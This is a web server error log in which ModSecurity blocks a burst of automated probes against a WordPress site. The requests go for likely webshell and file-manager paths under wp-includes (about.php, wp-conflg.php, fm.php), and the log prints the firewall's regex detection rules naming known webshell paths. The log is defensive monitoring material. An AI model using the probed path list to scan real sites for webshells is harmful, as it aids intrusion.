[Fri Nov 21 05:36:53.424715 2025] [:error] [pid 13325:tid 13334] [client 185.251.19.177:63391] [client 185.251.19.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aR-J9SBUXj9tD75On3Ch-wAAAAQ"]
[Fri Nov 21 05:36:54.280335 2025] [:error] [pid 13412:tid 13419] [client 185.251.19.171:39013] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aR-J9n3-knz3ZB6HogG6AwAAAMI"]
[Fri Nov 21 05:36:55.140618 2025] [:error] [pid 13327:tid 13389] [client 136.144.42.244:48921] [client 136.144.42.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aR-J9_BXf-8B6mFkLeOZSgAAAIQ"]
[Fri Nov 21 05:36:56.042742 2025] [:error] [pid 51434:tid 51455] [client 185.251.19.195:45835] [client 185.251.19.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aR-J-PU96liplEDkw_Tr9wAAARM"]
[Fri Nov 21 05:36:56.939012 2025] [:error] [pid 51434:tid 51447] [client 185.251.19.195:64299] [client 185.251.19.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aR-J-PU96liplEDkw_Tr-QAAAQs"]
[Fri Nov 21 05:36:57.799873 2025] [:error] [pid 13327:tid 13408] [client 185.251.19.184:42265] [client 185.251.19.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aR-J-fBXf-8B6mFkLeOZUAAAAJc"]
[Fri Nov 21 05:36:59.880033 2025] [:error] [pid 13412:tid 13431] [client 172.98.32.178:40413] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "aR-J-33-knz3ZB6HogG6FAAAAM4"]
[Fri Nov 21 05:37:00.735808 2025] [:error] [pid 13325:tid 13336] [client 185.251.19.189:50589] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aR-J_CBUXj9tD75On3CiFAAAAAY"]
[Fri Nov 21 05:37:01.596355 2025] [:error] [pid 13325:tid 13340] [client 185.251.19.171:21903] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aR-J_SBUXj9tD75On3CiFwAAAAo"]
[Fri Nov 21 05:37:02.455312 2025] [:error] [pid 13326:tid 13369] [client 136.144.42.246:36067] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aR-J_th942-HkDIkOWrkoAAAAEs"]
[Fri Nov 21 05:37:06.757517 2025] [:error] [pid 13327:tid 13385] [client 185.251.19.182:23263] [client 185.251.19.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aR-KAvBXf-8B6mFkLeOZXgAAAIA"]
[Fri Nov 21 05:37:08.803965 2025] [:error] [pid 51434:tid 51445] [client 185.251.19.198:55167] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aR-KBPU96liplEDkw_TsHAAAAQk"]
[Fri Nov 21 05:37:13.767193 2025] [:error] [pid 51434:tid 51450] [client 136.144.42.246:59693] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aR-KCfU96liplEDkw_TsMgAAAQ4"]
[Fri Nov 21 05:37:18.005946 2025] [:error] [pid 51434:tid 51460] [client 185.251.19.187:43915] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aR-KDvU96liplEDkw_TsQwAAARg"]
[Fri Nov 21 05:37:23.668373 2025] [:error] [pid 51434:tid 51455] [client 185.251.19.165:35965] [client 185.251.19.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aR-KE_U96liplEDkw_TsZQAAARM"]
[Fri Nov 21 05:37:31.018487 2025] [:error] [pid 51434:tid 51459] [client 136.144.42.251:21201] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aR-KG_U96liplEDkw_TsegAAARc"]
[Fri Nov 21 05:37:33.894511 2025] [:error] [pid 13327:tid 13396] [client 185.251.19.191:39355] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aR-KHfBXf-8B6mFkLeOZiQAAAIs"]
[Fri Nov 21 05:37:57.366330 2025] [:error] [pid 13326:tid 13374] [client 185.251.19.190:54149] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aR-KNdh942-HkDIkOWrlOAAAAFA"]
[Fri Nov 21 05:37:58.246928 2025] [:error] [pid 13327:tid 13406] [client 185.251.19.167:54769] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aR-KNvBXf-8B6mFkLeOZxwAAAJU"]
[Fri Nov 21 05:37:59.117966 2025] [:error] [pid 13325:tid 13331] [client 185.251.19.190:37363] [client 185.251.19.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.190, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR-KNyBUXj9tD75On3CiggAAAAE"]
[Fri Nov 21 05:38:02.235452 2025] [:error] [pid 13325:tid 13342] [client 185.251.19.190:37363] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aR-KOiBUXj9tD75On3CijgAAAAw"]
[Fri Nov 21 05:38:06.522517 2025] [:error] [pid 13327:tid 13397] [client 185.251.19.171:28113] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aR-KPvBXf-8B6mFkLeOZ4QAAAIw"]
[Fri Nov 21 05:38:07.397056 2025] [:error] [pid 13325:tid 13349] [client 185.251.19.176:44503] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aR-KPyBUXj9tD75On3CikQAAABM"]
[Fri Nov 21 05:38:14.139641 2025] [:error] [pid 13412:tid 13430] [client 172.98.32.177:20727] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aR-KRn3-knz3ZB6HogG69AAAAM0"]
[Fri Nov 21 05:38:15.018083 2025] [:error] [pid 13326:tid 13374] [client 185.251.19.179:49837] [client 185.251.19.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aR-KR9h942-HkDIkOWrlTgAAAFA"]
[Fri Nov 21 05:38:23.576119 2025] [:error] [pid 13327:tid 13387] [client 185.251.19.201:22137] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aR-KT_BXf-8B6mFkLeOaGQAAAII"]
[Fri Nov 21 05:38:27.554403 2025] [proxy_fcgi:error] [pid 13327:tid 13391] [client 185.251.19.200:39935] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:38:29.408497 2025] [:error] [pid 13327:tid 13393] [client 185.251.19.200:39935] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aR-KVfBXf-8B6mFkLeOaMgAAAIg"]
[Fri Nov 21 05:38:30.291695 2025] [:error] [pid 13325:tid 13351] [client 185.251.19.178:46233] [client 185.251.19.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "aR-KViBUXj9tD75On3CivQAAABU"]
[Fri Nov 21 05:38:34.977815 2025] [:error] [pid 13327:tid 13385] [client 172.98.32.176:39617] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aR-KWvBXf-8B6mFkLeOaQgAAAIA"]
[Fri Nov 21 05:38:35.871871 2025] [:error] [pid 51434:tid 51445] [client 185.251.19.188:63371] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aR-KW_U96liplEDkw_TtOQAAAQk"]
[Fri Nov 21 05:38:47.541658 2025] [:error] [pid 13327:tid 13405] [client 185.251.19.176:40239] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "aR-KZ_BXf-8B6mFkLeOaZAAAAJQ"]
[Fri Nov 21 05:38:48.424399 2025] [:error] [pid 13325:tid 13350] [client 185.251.19.192:35877] [client 185.251.19.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aR-KaCBUXj9tD75On3Ci3wAAABQ"]
[Fri Nov 21 05:38:55.935120 2025] [:error] [pid 13326:tid 13368] [client 185.251.19.184:28883] [client 185.251.19.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aR-Kb9h942-HkDIkOWrlrwAAAEo"]
[Fri Nov 21 05:38:56.843762 2025] [:error] [pid 13325:tid 13343] [client 136.144.42.249:55731] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aR-KcCBUXj9tD75On3Ci6gAAAA0"]
[Fri Nov 21 05:38:57.712099 2025] [:error] [pid 51434:tid 51440] [client 185.251.19.175:20277] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aR-KcfU96liplEDkw_TtkwAAAQQ"]
[Fri Nov 21 05:39:06.813764 2025] [:error] [pid 13412:tid 13427] [client 185.251.19.181:31755] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aR-Ken3-knz3ZB6HogG7awAAAMo"]
[Fri Nov 21 05:39:09.711213 2025] [:error] [pid 51434:tid 51443] [client 185.251.19.191:34865] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aR-KffU96liplEDkw_TtvgAAAQc"]
[Fri Nov 21 05:39:20.025518 2025] [:error] [pid 13327:tid 13399] [client 136.144.42.249:25337] [client 136.144.42.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.42.249, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "aR-KiPBXf-8B6mFkLeOaoAAAAI4"]
[Fri Nov 21 05:39:28.781512 2025] [:error] [pid 13327:tid 13404] [client 136.144.42.249:25337] [client 136.144.42.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/bk/index.php"] [unique_id "aR-KkPBXf-8B6mFkLeOavQAAAJM"]
[Fri Nov 21 05:39:29.650174 2025] [:error] [pid 13412:tid 13423] [client 185.251.19.194:47205] [client 185.251.19.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.194, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aR-KkX3-knz3ZB6HogG7ngAAAMY"]
[Fri Nov 21 05:39:45.876779 2025] [proxy_fcgi:error] [pid 13412:tid 13419] [client 185.251.19.194:47205] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:40:06.589177 2025] [:error] [pid 13412:tid 13432] [client 185.251.19.194:47205] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aR-Ktn3-knz3ZB6HogG8OwAAAM8"]
[Fri Nov 21 05:40:12.503816 2025] [:error] [pid 13412:tid 13423] [client 185.251.19.167:47071] [client 185.251.19.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aR-KvH3-knz3ZB6HogG8SAAAAMY"]
[Fri Nov 21 05:40:17.134913 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.171:33997] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aR-KwX3-knz3ZB6HogG8VwAAAMA"]
[Fri Nov 21 05:40:31.590994 2025] [:error] [pid 13412:tid 13434] [client 185.251.19.169:21111] [client 185.251.19.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aR-Kz33-knz3ZB6HogG8hgAAANE"]
[Fri Nov 21 05:40:35.941496 2025] [:error] [pid 13327:tid 13400] [client 185.251.19.200:24497] [client 185.251.19.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aR-K0_BXf-8B6mFkLeObiQAAAI8"]
[Fri Nov 21 05:40:38.765246 2025] [:error] [pid 13327:tid 13393] [client 136.144.42.250:50563] [client 136.144.42.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aR-K1vBXf-8B6mFkLeOblAAAAIg"]
[Fri Nov 21 05:40:45.769803 2025] [proxy_fcgi:error] [pid 51434:tid 51449] [client 185.251.19.191:47505] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:40:46.208708 2025] [proxy_fcgi:error] [pid 51434:tid 51447] [client 185.251.19.191:47505] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:40:46.644180 2025] [:error] [pid 51434:tid 51451] [client 185.251.19.191:47505] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aR-K3vU96liplEDkw_TvCwAAAQ8"]
[Fri Nov 21 05:40:47.576389 2025] [:error] [pid 13327:tid 13402] [client 136.144.42.251:33333] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aR-K3_BXf-8B6mFkLeObsgAAAJE"]
[Fri Nov 21 05:40:58.734303 2025] [:error] [pid 51434:tid 51437] [client 185.251.19.199:32841] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aR-K6vU96liplEDkw_TvOgAAAQE"]
